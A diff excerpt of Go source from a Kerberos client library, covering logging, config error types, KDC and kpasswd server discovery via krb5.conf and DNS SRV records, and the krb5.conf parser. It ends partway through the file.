func (s *Settings) Logger() *log.Logger {
|
||||
return s.logger
|
||||
}
|
||||
|
||||
// Log will write to the service's logger if it is configured.
|
||||
func (cl *Client) Log(format string, v ...interface{}) {
|
||||
if cl.settings.Logger() != nil {
|
||||
cl.settings.Logger().Printf(format, v...)
|
||||
}
|
||||
}
|
||||
+30
@@ -0,0 +1,30 @@
|
||||
package config
|
||||
|
||||
import "fmt"
|
||||
|
||||
// UnsupportedDirective error.
|
||||
type UnsupportedDirective struct {
|
||||
text string
|
||||
}
|
||||
|
||||
// Error implements the error interface for unsupported directives.
|
||||
func (e UnsupportedDirective) Error() string {
|
||||
return e.text
|
||||
}
|
||||
|
||||
// Invalid config error.
|
||||
type Invalid struct {
|
||||
text string
|
||||
}
|
||||
|
||||
// Error implements the error interface for invalid config error.
|
||||
func (e Invalid) Error() string {
|
||||
return e.text
|
||||
}
|
||||
|
||||
// InvalidErrorf creates a new Invalid error.
|
||||
func InvalidErrorf(format string, a ...interface{}) Invalid {
|
||||
return Invalid{
|
||||
text: fmt.Sprintf("invalid krb5 config "+format, a...),
|
||||
}
|
||||
}
|
||||
+141
@@ -0,0 +1,141 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"gopkg.in/jcmturner/dnsutils.v1"
|
||||
)
|
||||
|
||||
// GetKDCs returns the count of KDCs available and a map of KDC host names keyed on preference order.
|
||||
func (c *Config) GetKDCs(realm string, tcp bool) (int, map[int]string, error) {
|
||||
if realm == "" {
|
||||
realm = c.LibDefaults.DefaultRealm
|
||||
}
|
||||
kdcs := make(map[int]string)
|
||||
var count int
|
||||
|
||||
// Get the KDCs from the krb5.conf.
|
||||
var ks []string
|
||||
for _, r := range c.Realms {
|
||||
if r.Realm != realm {
|
||||
continue
|
||||
}
|
||||
ks = r.KDC
|
||||
}
|
||||
count = len(ks)
|
||||
|
||||
if count > 0 {
|
||||
// Order the kdcs randomly for preference.
|
||||
kdcs = randServOrder(ks)
|
||||
return count, kdcs, nil
|
||||
}
|
||||
|
||||
if !c.LibDefaults.DNSLookupKDC {
|
||||
return count, kdcs, fmt.Errorf("no KDCs defined in configuration for realm %s", realm)
|
||||
}
|
||||
|
||||
// Use DNS to resolve kerberos SRV records.
|
||||
proto := "udp"
|
||||
if tcp {
|
||||
proto = "tcp"
|
||||
}
|
||||
index, addrs, err := dnsutils.OrderedSRV("kerberos", proto, realm)
|
||||
if err != nil {
|
||||
return count, kdcs, err
|
||||
}
|
||||
if len(addrs) < 1 {
|
||||
return count, kdcs, fmt.Errorf("no KDC SRV records found for realm %s", realm)
|
||||
}
|
||||
count = index
|
||||
for k, v := range addrs {
|
||||
kdcs[k] = strings.TrimRight(v.Target, ".") + ":" + strconv.Itoa(int(v.Port))
|
||||
}
|
||||
return count, kdcs, nil
|
||||
}
|
||||
|
||||
// GetKpasswdServers returns the count of kpasswd servers available and a map of kpasswd host names keyed on preference order.
|
||||
// https://web.mit.edu/kerberos/krb5-latest/doc/admin/conf_files/krb5_conf.html#realms - see kpasswd_server section
|
||||
func (c *Config) GetKpasswdServers(realm string, tcp bool) (int, map[int]string, error) {
|
||||
kdcs := make(map[int]string)
|
||||
var count int
|
||||
|
||||
// Use DNS to resolve kerberos SRV records if configured to do so in krb5.conf.
|
||||
if c.LibDefaults.DNSLookupKDC {
|
||||
proto := "udp"
|
||||
if tcp {
|
||||
proto = "tcp"
|
||||
}
|
||||
c, addrs, err := dnsutils.OrderedSRV("kpasswd", proto, realm)
|
||||
if err != nil {
|
||||
return count, kdcs, err
|
||||
}
|
||||
if c < 1 {
|
||||
c, addrs, err = dnsutils.OrderedSRV("kerberos-adm", proto, realm)
|
||||
if err != nil {
|
||||
return count, kdcs, err
|
||||
}
|
||||
}
|
||||
if len(addrs) < 1 {
|
||||
return count, kdcs, fmt.Errorf("no kpasswd or kadmin SRV records found for realm %s", realm)
|
||||
}
|
||||
count = c
|
||||
for k, v := range addrs {
|
||||
kdcs[k] = strings.TrimRight(v.Target, ".") + ":" + strconv.Itoa(int(v.Port))
|
||||
}
|
||||
} else {
|
||||
// Get the KDCs from the krb5.conf an order them randomly for preference.
|
||||
var ks []string
|
||||
var ka []string
|
||||
for _, r := range c.Realms {
|
||||
if r.Realm == realm {
|
||||
ks = r.KPasswdServer
|
||||
ka = r.AdminServer
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(ks) < 1 {
|
||||
for _, k := range ka {
|
||||
h, _, err := net.SplitHostPort(k)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
ks = append(ks, h+":464")
|
||||
}
|
||||
}
|
||||
count = len(ks)
|
||||
if count < 1 {
|
||||
return count, kdcs, fmt.Errorf("no kpasswd or kadmin defined in configuration for realm %s", realm)
|
||||
}
|
||||
kdcs = randServOrder(ks)
|
||||
}
|
||||
return count, kdcs, nil
|
||||
}
|
||||
|
||||
func randServOrder(ks []string) map[int]string {
|
||||
kdcs := make(map[int]string)
|
||||
count := len(ks)
|
||||
i := 1
|
||||
if count > 1 {
|
||||
l := len(ks)
|
||||
for l > 0 {
|
||||
ri := rand.Intn(l)
|
||||
kdcs[i] = ks[ri]
|
||||
if l > 1 {
|
||||
// Remove the entry from the source slice by swapping with the last entry and truncating
|
||||
ks[len(ks)-1], ks[ri] = ks[ri], ks[len(ks)-1]
|
||||
ks = ks[:len(ks)-1]
|
||||
l = len(ks)
|
||||
} else {
|
||||
l = 0
|
||||
}
|
||||
i++
|
||||
}
|
||||
} else {
|
||||
kdcs[i] = ks[0]
|
||||
}
|
||||
return kdcs
|
||||
}
|
||||
+726
@@ -0,0 +1,726 @@
|
||||
// Package config implements KRB5 client and service configuration as described at https://web.mit.edu/kerberos/krb5-latest/doc/admin/conf_files/krb5_conf.html
|
||||
package config
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"os/user"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/jcmturner/gofork/encoding/asn1"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/etypeID"
|
||||
)
|
||||
|
||||
// Config represents the KRB5 configuration.
|
||||
type Config struct {
|
||||
LibDefaults LibDefaults
|
||||
Realms []Realm
|
||||
DomainRealm DomainRealm
|
||||
//CaPaths
|
||||
//AppDefaults
|
||||
//Plugins
|
||||
}
|
||||
|
||||
// WeakETypeList is a list of encryption types that have been deemed weak.
|
||||
const WeakETypeList = "des-cbc-crc des-cbc-md4 des-cbc-md5 des-cbc-raw des3-cbc-raw des-hmac-sha1 arcfour-hmac-exp rc4-hmac-exp arcfour-hmac-md5-exp des"
|
||||
|
||||
// NewConfig creates a new config struct instance.
|
||||
func NewConfig() *Config {
|
||||
d := make(DomainRealm)
|
||||
return &Config{
|
||||
LibDefaults: newLibDefaults(),
|
||||
DomainRealm: d,
|
||||
}
|
||||
}
|
||||
|
||||
// LibDefaults represents the [libdefaults] section of the configuration.
|
||||
type LibDefaults struct {
|
||||
AllowWeakCrypto bool //default false
|
||||
// ap_req_checksum_type int //unlikely to support this
|
||||
Canonicalize bool //default false
|
||||
CCacheType int //default is 4. unlikely to implement older
|
||||
Clockskew time.Duration //max allowed skew in seconds, default 300
|
||||
//Default_ccache_name string // default /tmp/krb5cc_%{uid} //Not implementing as will hold in memory
|
||||
DefaultClientKeytabName string //default /usr/local/var/krb5/user/%{euid}/client.keytab
|
||||
DefaultKeytabName string //default /etc/krb5.keytab
|
||||
DefaultRealm string
|
||||
DefaultTGSEnctypes []string //default aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 des3-cbc-sha1 arcfour-hmac-md5 camellia256-cts-cmac camellia128-cts-cmac des-cbc-crc des-cbc-md5 des-cbc-md4
|
||||
DefaultTktEnctypes []string //default aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 des3-cbc-sha1 arcfour-hmac-md5 camellia256-cts-cmac camellia128-cts-cmac des-cbc-crc des-cbc-md5 des-cbc-md4
|
||||
DefaultTGSEnctypeIDs []int32 //default aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 des3-cbc-sha1 arcfour-hmac-md5 camellia256-cts-cmac camellia128-cts-cmac des-cbc-crc des-cbc-md5 des-cbc-md4
|
||||
DefaultTktEnctypeIDs []int32 //default aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 des3-cbc-sha1 arcfour-hmac-md5 camellia256-cts-cmac camellia128-cts-cmac des-cbc-crc des-cbc-md5 des-cbc-md4
|
||||
DNSCanonicalizeHostname bool //default true
|
||||
DNSLookupKDC bool //default false
|
||||
DNSLookupRealm bool
|
||||
ExtraAddresses []net.IP //Not implementing yet
|
||||
Forwardable bool //default false
|
||||
IgnoreAcceptorHostname bool //default false
|
||||
K5LoginAuthoritative bool //default false
|
||||
K5LoginDirectory string //default user's home directory. Must be owned by the user or root
|
||||
KDCDefaultOptions asn1.BitString //default 0x00000010 (KDC_OPT_RENEWABLE_OK)
|
||||
KDCTimeSync int //default 1
|
||||
//kdc_req_checksum_type int //unlikely to implement as for very old KDCs
|
||||
NoAddresses bool //default true
|
||||
PermittedEnctypes []string //default aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 des3-cbc-sha1 arcfour-hmac-md5 camellia256-cts-cmac camellia128-cts-cmac des-cbc-crc des-cbc-md5 des-cbc-md4
|
||||
PermittedEnctypeIDs []int32
|
||||
//plugin_base_dir string //not supporting plugins
|
||||
PreferredPreauthTypes []int //default “17, 16, 15, 14”, which forces libkrb5 to attempt to use PKINIT if it is supported
|
||||
Proxiable bool //default false
|
||||
RDNS bool //default true
|
||||
RealmTryDomains int //default -1
|
||||
RenewLifetime time.Duration //default 0
|
||||
SafeChecksumType int //default 8
|
||||
TicketLifetime time.Duration //default 1 day
|
||||
UDPPreferenceLimit int // 1 means to always use tcp. MIT krb5 has a default value of 1465, and it prevents user setting more than 32700.
|
||||
VerifyAPReqNofail bool //default false
|
||||
}
|
||||
|
||||
// Create a new LibDefaults struct.
|
||||
func newLibDefaults() LibDefaults {
|
||||
uid := "0"
|
||||
var hdir string
|
||||
usr, _ := user.Current()
|
||||
if usr != nil {
|
||||
uid = usr.Uid
|
||||
hdir = usr.HomeDir
|
||||
}
|
||||
opts := asn1.BitString{}
|
||||
opts.Bytes, _ = hex.DecodeString("00000010")
|
||||
opts.BitLength = len(opts.Bytes) * 8
|
||||
return LibDefaults{
|
||||
CCacheType: 4,
|
||||
Clockskew: time.Duration(300) * time.Second,
|
||||
DefaultClientKeytabName: fmt.Sprintf("/usr/local/var/krb5/user/%s/client.keytab", uid),
|
||||
DefaultKeytabName: "/etc/krb5.keytab",
|
||||
DefaultTGSEnctypes: []string{"aes256-cts-hmac-sha1-96", "aes128-cts-hmac-sha1-96", "des3-cbc-sha1", "arcfour-hmac-md5", "camellia256-cts-cmac", "camellia128-cts-cmac", "des-cbc-crc", "des-cbc-md5", "des-cbc-md4"},
|
||||
DefaultTktEnctypes: []string{"aes256-cts-hmac-sha1-96", "aes128-cts-hmac-sha1-96", "des3-cbc-sha1", "arcfour-hmac-md5", "camellia256-cts-cmac", "camellia128-cts-cmac", "des-cbc-crc", "des-cbc-md5", "des-cbc-md4"},
|
||||
DNSCanonicalizeHostname: true,
|
||||
K5LoginDirectory: hdir,
|
||||
KDCDefaultOptions: opts,
|
||||
KDCTimeSync: 1,
|
||||
NoAddresses: true,
|
||||
PermittedEnctypes: []string{"aes256-cts-hmac-sha1-96", "aes128-cts-hmac-sha1-96", "des3-cbc-sha1", "arcfour-hmac-md5", "camellia256-cts-cmac", "camellia128-cts-cmac", "des-cbc-crc", "des-cbc-md5", "des-cbc-md4"},
|
||||
RDNS: true,
|
||||
RealmTryDomains: -1,
|
||||
SafeChecksumType: 8,
|
||||
TicketLifetime: time.Duration(24) * time.Hour,
|
||||
UDPPreferenceLimit: 1465,
|
||||
PreferredPreauthTypes: []int{17, 16, 15, 14},
|
||||
}
|
||||
}
|
||||
|
||||
// Parse the lines of the [libdefaults] section of the configuration into the LibDefaults struct.
|
||||
func (l *LibDefaults) parseLines(lines []string) error {
|
||||
for _, line := range lines {
|
||||
//Remove comments after the values
|
||||
if idx := strings.IndexAny(line, "#;"); idx != -1 {
|
||||
line = line[:idx]
|
||||
}
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
if !strings.Contains(line, "=") {
|
||||
return InvalidErrorf("libdefaults section line (%s)", line)
|
||||
}
|
||||
|
||||
p := strings.Split(line, "=")
|
||||
key := strings.TrimSpace(strings.ToLower(p[0]))
|
||||
switch key {
|
||||
case "allow_weak_crypto":
|
||||
v, err := parseBoolean(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.AllowWeakCrypto = v
|
||||
case "canonicalize":
|
||||
v, err := parseBoolean(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.Canonicalize = v
|
||||
case "ccache_type":
|
||||
p[1] = strings.TrimSpace(p[1])
|
||||
v, err := strconv.ParseUint(p[1], 10, 32)
|
||||
if err != nil || v < 0 || v > 4 {
|
||||
return InvalidErrorf("libdefaults section line (%s)", line)
|
||||
}
|
||||
l.CCacheType = int(v)
|
||||
case "clockskew":
|
||||
d, err := parseDuration(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.Clockskew = d
|
||||
case "default_client_keytab_name":
|
||||
l.DefaultClientKeytabName = strings.TrimSpace(p[1])
|
||||
case "default_keytab_name":
|
||||
l.DefaultKeytabName = strings.TrimSpace(p[1])
|
||||
case "default_realm":
|
||||
l.DefaultRealm = strings.TrimSpace(p[1])
|
||||
case "default_tgs_enctypes":
|
||||
l.DefaultTGSEnctypes = strings.Fields(p[1])
|
||||
case "default_tkt_enctypes":
|
||||
l.DefaultTktEnctypes = strings.Fields(p[1])
|
||||
case "dns_canonicalize_hostname":
|
||||
v, err := parseBoolean(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.DNSCanonicalizeHostname = v
|
||||
case "dns_lookup_kdc":
|
||||
v, err := parseBoolean(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.DNSLookupKDC = v
|
||||
case "dns_lookup_realm":
|
||||
v, err := parseBoolean(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.DNSLookupRealm = v
|
||||
case "extra_addresses":
|
||||
ipStr := strings.TrimSpace(p[1])
|
||||
for _, ip := range strings.Split(ipStr, ",") {
|
||||
if eip := net.ParseIP(ip); eip != nil {
|
||||
l.ExtraAddresses = append(l.ExtraAddresses, eip)
|
||||
}
|
||||
}
|
||||
case "forwardable":
|
||||
v, err := parseBoolean(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.Forwardable = v
|
||||
case "ignore_acceptor_hostname":
|
||||
v, err := parseBoolean(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.IgnoreAcceptorHostname = v
|
||||
case "k5login_authoritative":
|
||||
v, err := parseBoolean(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.K5LoginAuthoritative = v
|
||||
case "k5login_directory":
|
||||
l.K5LoginDirectory = strings.TrimSpace(p[1])
|
||||
case "kdc_default_options":
|
||||
v := strings.TrimSpace(p[1])
|
||||
v = strings.Replace(v, "0x", "", -1)
|
||||
b, err := hex.DecodeString(v)
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.KDCDefaultOptions.Bytes = b
|
||||
l.KDCDefaultOptions.BitLength = len(b) * 8
|
||||
case "kdc_timesync":
|
||||
p[1] = strings.TrimSpace(p[1])
|
||||
v, err := strconv.ParseInt(p[1], 10, 32)
|
||||
if err != nil || v < 0 {
|
||||
return InvalidErrorf("libdefaults section line (%s)", line)
|
||||
}
|
||||
l.KDCTimeSync = int(v)
|
||||
case "noaddresses":
|
||||
v, err := parseBoolean(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.NoAddresses = v
|
||||
case "permitted_enctypes":
|
||||
l.PermittedEnctypes = strings.Fields(p[1])
|
||||
case "preferred_preauth_types":
|
||||
p[1] = strings.TrimSpace(p[1])
|
||||
t := strings.Split(p[1], ",")
|
||||
var v []int
|
||||
for _, s := range t {
|
||||
i, err := strconv.ParseInt(s, 10, 32)
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
v = append(v, int(i))
|
||||
}
|
||||
l.PreferredPreauthTypes = v
|
||||
case "proxiable":
|
||||
v, err := parseBoolean(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.Proxiable = v
|
||||
case "rdns":
|
||||
v, err := parseBoolean(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.RDNS = v
|
||||
case "realm_try_domains":
|
||||
p[1] = strings.TrimSpace(p[1])
|
||||
v, err := strconv.ParseInt(p[1], 10, 32)
|
||||
if err != nil || v < -1 {
|
||||
return InvalidErrorf("libdefaults section line (%s)", line)
|
||||
}
|
||||
l.RealmTryDomains = int(v)
|
||||
case "renew_lifetime":
|
||||
d, err := parseDuration(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.RenewLifetime = d
|
||||
case "safe_checksum_type":
|
||||
p[1] = strings.TrimSpace(p[1])
|
||||
v, err := strconv.ParseInt(p[1], 10, 32)
|
||||
if err != nil || v < 0 {
|
||||
return InvalidErrorf("libdefaults section line (%s)", line)
|
||||
}
|
||||
l.SafeChecksumType = int(v)
|
||||
case "ticket_lifetime":
|
||||
d, err := parseDuration(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.TicketLifetime = d
|
||||
case "udp_preference_limit":
|
||||
p[1] = strings.TrimSpace(p[1])
|
||||
v, err := strconv.ParseUint(p[1], 10, 32)
|
||||
if err != nil || v > 32700 {
|
||||
return InvalidErrorf("libdefaults section line (%s)", line)
|
||||
}
|
||||
l.UDPPreferenceLimit = int(v)
|
||||
case "verify_ap_req_nofail":
|
||||
v, err := parseBoolean(p[1])
|
||||
if err != nil {
|
||||
return InvalidErrorf("libdefaults section line (%s): %v", line, err)
|
||||
}
|
||||
l.VerifyAPReqNofail = v
|
||||
default:
|
||||
//Ignore the line
|
||||
continue
|
||||
}
|
||||
}
|
||||
l.DefaultTGSEnctypeIDs = parseETypes(l.DefaultTGSEnctypes, l.AllowWeakCrypto)
|
||||
l.DefaultTktEnctypeIDs = parseETypes(l.DefaultTktEnctypes, l.AllowWeakCrypto)
|
||||
l.PermittedEnctypeIDs = parseETypes(l.PermittedEnctypes, l.AllowWeakCrypto)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Realm represents an entry in the [realms] section of the configuration.
|
||||
type Realm struct {
|
||||
Realm string
|
||||
AdminServer []string
|
||||
//auth_to_local //Not implementing for now
|
||||
//auth_to_local_names //Not implementing for now
|
||||
DefaultDomain string
|
||||
KDC []string
|
||||
KPasswdServer []string //default admin_server:464
|
||||
MasterKDC []string
|
||||
}
|
||||
|
||||
// Parse the lines of a [realms] entry into the Realm struct.
|
||||
func (r *Realm) parseLines(name string, lines []string) (err error) {
|
||||
r.Realm = name
|
||||
var adminServerFinal bool
|
||||
var KDCFinal bool
|
||||
var kpasswdServerFinal bool
|
||||
var masterKDCFinal bool
|
||||
var ignore bool
|
||||
var c int // counts the depth of blocks within brackets { }
|
||||
for _, line := range lines {
|
||||
if ignore && c > 0 && !strings.Contains(line, "{") && !strings.Contains(line, "}") {
|
||||
continue
|
||||
}
|
||||
//Remove comments after the values
|
||||
if idx := strings.IndexAny(line, "#;"); idx != -1 {
|
||||
line = line[:idx]
|
||||
}
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
if !strings.Contains(line, "=") && !strings.Contains(line, "}") {
|
||||
return InvalidErrorf("realms section line (%s)", line)
|
||||
}
|
||||
if strings.Contains(line, "v4_") {
|
||||
ignore = true
|
||||
err = UnsupportedDirective{"v4 configurations are not supported"}
|
||||
}
|
||||
if strings.Contains(line, "{") {
|
||||
c++
|
||||
if ignore {
|
||||
continue
|
||||
}
|
||||
}
|
||||
if strings.Contains(line, "}") {
|
||||
c--
|
||||
if c < 0 {
|
||||
return InvalidErrorf("unpaired curly brackets")
|
||||
}
|
||||
if ignore {
|
||||
if c < 1 {
|
||||
c = 0
|
||||
ignore = false
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
p := strings.Split(line, "=")
|
||||
key := strings.TrimSpace(strings.ToLower(p[0]))
|
||||
v := strings.TrimSpace(p[1])
|
||||
switch key {
|
||||
case "admin_server":
|
||||
appendUntilFinal(&r.AdminServer, v, &adminServerFinal)
|
||||
case "default_domain":
|
||||
r.DefaultDomain = v
|
||||
case "kdc":
|
||||
if !strings.Contains(v, ":") {
|
||||
// No port number specified default to 88
|
||||
if strings.HasSuffix(v, `*`) {
|
||||
v = strings.TrimSpace(strings.TrimSuffix(v, `*`)) + ":88*"
|
||||
} else {
|
||||
v = strings.TrimSpace(v) + ":88"
|
||||
}
|
||||
}
|
||||
appendUntilFinal(&r.KDC, v, &KDCFinal)
|
||||
case "kpasswd_server":
|
||||
appendUntilFinal(&r.KPasswdServer, v, &kpasswdServerFinal)
|
||||
case "master_kdc":
|
||||
appendUntilFinal(&r.MasterKDC, v, &masterKDCFinal)
|
||||
default:
|
||||
//Ignore the line
|
||||
continue
|
||||
}
|
||||
}
|
||||
//default for Kpasswd_server = admin_server:464
|
||||
if len(r.KPasswdServer) < 1 {
|
||||
for _, a := range r.AdminServer {
|
||||
s := strings.Split(a, ":")
|
||||
r.KPasswdServer = append(r.KPasswdServer, s[0]+":464")
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Parse the lines of the [realms] section of the configuration into an slice of Realm structs.
|
||||
func parseRealms(lines []string) (realms []Realm, err error) {
|
||||
var name string
|
||||
var start int
|
||||
var c int
|
||||
for i, l := range lines {
|
||||
//Remove comments after the values
|
||||
if idx := strings.IndexAny(l, "#;"); idx != -1 {
|
||||
l = l[:idx]
|
||||
}
|
||||
l = strings.TrimSpace(l)
|
||||
if l == "" {
|
||||
continue
|
||||
}
|
||||
//if strings.Contains(l, "v4_") {
|
||||
// return nil, errors.New("v4 configurations are not supported in Realms section")
|
||||
//}
|
||||
if strings.Contains(l, "{") {
|
||||
c++
|
||||
if !strings.Contains(l, "=") {
|
||||
return nil, fmt.Errorf("realm configuration line invalid: %s", l)
|
||||
}
|
||||
if c == 1 {
|
||||
start = i
|
||||
p := strings.Split(l, "=")
|
||||
name = strings.TrimSpace(p[0])
|
||||
}
|
||||
}
|
||||
if strings.Contains(l, "}") {
|
||||
if c < 1 {
|
||||
// but not started a block!!!
|
||||
return nil, errors.New("invalid Realms section in configuration")
|
||||
}
|
||||
c--
|
||||
if c == 0 {
|
||||
var r Realm
|
||||
e := r.parseLines(name, lines[start+1:i])
|
||||
if e != nil {
|
||||
if _, ok := e.(UnsupportedDirective); !ok {
|
||||
err = e
|
||||
return
|
||||
}
|
||||
err = e
|
||||
}
|
||||
realms = append(realms, r)
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// DomainRealm maps the domains to realms representing the [domain_realm] section of the configuration.
|
||||
type DomainRealm map[string]string
|
||||
|
||||
// Parse the lines of the [domain_realm] section of the configuration and add to the mapping.
|
||||
func (d *DomainRealm) parseLines(lines []string) error {
|
||||
for _, line := range lines {
|
||||
//Remove comments after the values
|
||||
if idx := strings.IndexAny(line, "#;"); idx != -1 {
|
||||
line = line[:idx]
|
||||
}
|
||||
if strings.TrimSpace(line) == "" {
|
||||
continue
|
||||
}
|
||||
if !strings.Contains(line, "=") {
|
||||
return InvalidErrorf("realm line (%s)", line)
|
||||
}
|
||||
p := strings.Split(line, "=")
|
||||
domain := strings.TrimSpace(strings.ToLower(p[0]))
|
||||
realm := strings.TrimSpace(p[1])
|
||||
d.addMapping(domain, realm)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Add a domain to realm mapping.
|
||||
func (d *DomainRealm) addMapping(domain, realm string) {
|
||||
(*d)[domain] = realm
|
||||
}
|
||||
|
||||
// Delete a domain to realm mapping.
|
||||
func (d *DomainRealm) deleteMapping(domain, realm string) {
|
||||
delete(*d, domain)
|
||||
}
|
||||
|
||||
// ResolveRealm resolves the kerberos realm for the specified domain name from the domain to realm mapping.
|
||||
// The most specific mapping is returned.
|
||||
func (c *Config) ResolveRealm(domainName string) string {
|
||||
domainName = strings.TrimSuffix(domainName, ".")
|
||||
|
||||
// Try to match the entire hostname first
|
||||
if r, ok := c.DomainRealm[domainName]; ok {
|
||||
return r
|
||||
}
|
||||
|
||||
// Try to match all DNS domain parts
|
||||
periods := strings.Count(domainName, ".") + 1
|
||||
for i := 2; i <= periods; i++ {
|
||||
z := strings.SplitN(domainName, ".", i)
|
||||
if r, ok := c.DomainRealm["."+z[len(z)-1]]; ok {
|
||||
return r
|
||||
}
|
||||
}
|
||||
return c.LibDefaults.DefaultRealm
|
||||
}
|
||||
|
||||
// Load the KRB5 configuration from the specified file path.
|
||||
func Load(cfgPath string) (*Config, error) {
|
||||
fh, err := os.Open(cfgPath)
|
||||
if err != nil {
|
||||
return nil, errors.New("configuration file could not be opened: " + cfgPath + " " + err.Error())
|
||||
}
|
||||
defer fh.Close()
|
||||
scanner := bufio.NewScanner(fh)
|
||||
return NewConfigFromScanner(scanner)
|
||||
}
|
||||
|
||||
// NewConfigFromString creates a new Config struct from a string.
|
||||
func NewConfigFromString(s string) (*Config, error) {
|
||||
reader := strings.NewReader(s)
|
||||
return NewConfigFromReader(reader)
|
||||
}
|
||||
|
||||
// NewConfigFromReader creates a new Config struct from an io.Reader.
|
||||
func NewConfigFromReader(r io.Reader) (*Config, error) {
|
||||
scanner := bufio.NewScanner(r)
|
||||
return NewConfigFromScanner(scanner)
|
||||
}
|
||||
|
||||
// NewConfigFromScanner creates a new Config struct from a bufio.Scanner.
|
||||
func NewConfigFromScanner(scanner *bufio.Scanner) (*Config, error) {
|
||||
c := NewConfig()
|
||||
var e error
|
||||
sections := make(map[int]string)
|
||||
var sectionLineNum []int
|
||||
var lines []string
|
||||
for scanner.Scan() {
|
||||
// Skip comments and blank lines
|
||||
if matched, _ := regexp.MatchString(`^\s*(#|;|\n)`, scanner.Text()); matched {
|
||||
continue
|
||||
}
|
||||
if matched, _ := regexp.MatchString(`^\s*\[libdefaults\]\s*`, scanner.Text()); matched {
|
||||
sections[len(lines)] = "libdefaults"
|
||||
sectionLineNum = append(sectionLineNum, len(lines))
|
||||
continue
|
||||
}
|
||||
if matched, _ := regexp.MatchString(`^\s*\[realms\]\s*`, scanner.Text()); matched {
|
||||
sections[len(lines)] = "realms"
|
||||
sectionLineNum = append(sectionLineNum, len(lines))
|
||||
continue
|
||||
}
|
||||
if matched, _ := regexp.MatchString(`^\s*\[domain_realm\]\s*`, scanner.Text()); matched {
|
||||
sections[len(lines)] = "domain_realm"
|
||||
sectionLineNum = append(sectionLineNum, len(lines))
|
||||
continue
|
||||
}
|
||||
if matched, _ := regexp.MatchString(`^\s*\[.*\]\s*`, scanner.Text()); matched {
|
||||
sections[len(lines)] = "unknown_section"
|
||||
sectionLineNum = append(sectionLineNum, len(lines))
|
||||
continue
|
||||
}
|
||||
lines = append(lines, scanner.Text())
|
||||
}
|
||||
for i, start := range sectionLineNum {
|
||||
var end int
|
||||
if i+1 >= len(sectionLineNum) {
|
||||
end = len(lines)
|
||||
} else {
|
||||
end = sectionLineNum[i+1]
|
||||
}
|
||||
switch section := sections[start]; section {
|
||||
case "libdefaults":
|
||||
err := c.LibDefaults.parseLines(lines[start:end])
|
||||
if err != nil {
|
||||
if _, ok := err.(UnsupportedDirective); !ok {
|
||||
return nil, fmt.Errorf("error processing libdefaults section: %v", err)
|
||||
}
|
||||
e = err
|
||||
}
|
||||
case "realms":
|
||||
realms, err := parseRealms(lines[start:end])
|
||||
if err != nil {
|
||||
if _, ok := err.(UnsupportedDirective); !ok {
|
||||
return nil, fmt.Errorf("error processing realms section: %v", err)
|
||||
}
|
||||
e = err
|
||||
}
|
||||
c.Realms = realms
|
||||
case "domain_realm":
|
||||
err := c.DomainRealm.parseLines(lines[start:end])
|
||||
if err != nil {
|
||||
if _, ok := err.(UnsupportedDirective); !ok {
|
||||
return nil, fmt.Errorf("error processing domaain_realm section: %v", err)
|
||||
}
|
||||
e = err
|
||||
}
|
||||
default:
|
||||
continue
|
||||
}
|
||||
}
|
||||
return c, e
|
||||
}
|
||||
|
||||
// Parse a space delimited list of ETypes into a list of EType numbers optionally filtering out weak ETypes.
|
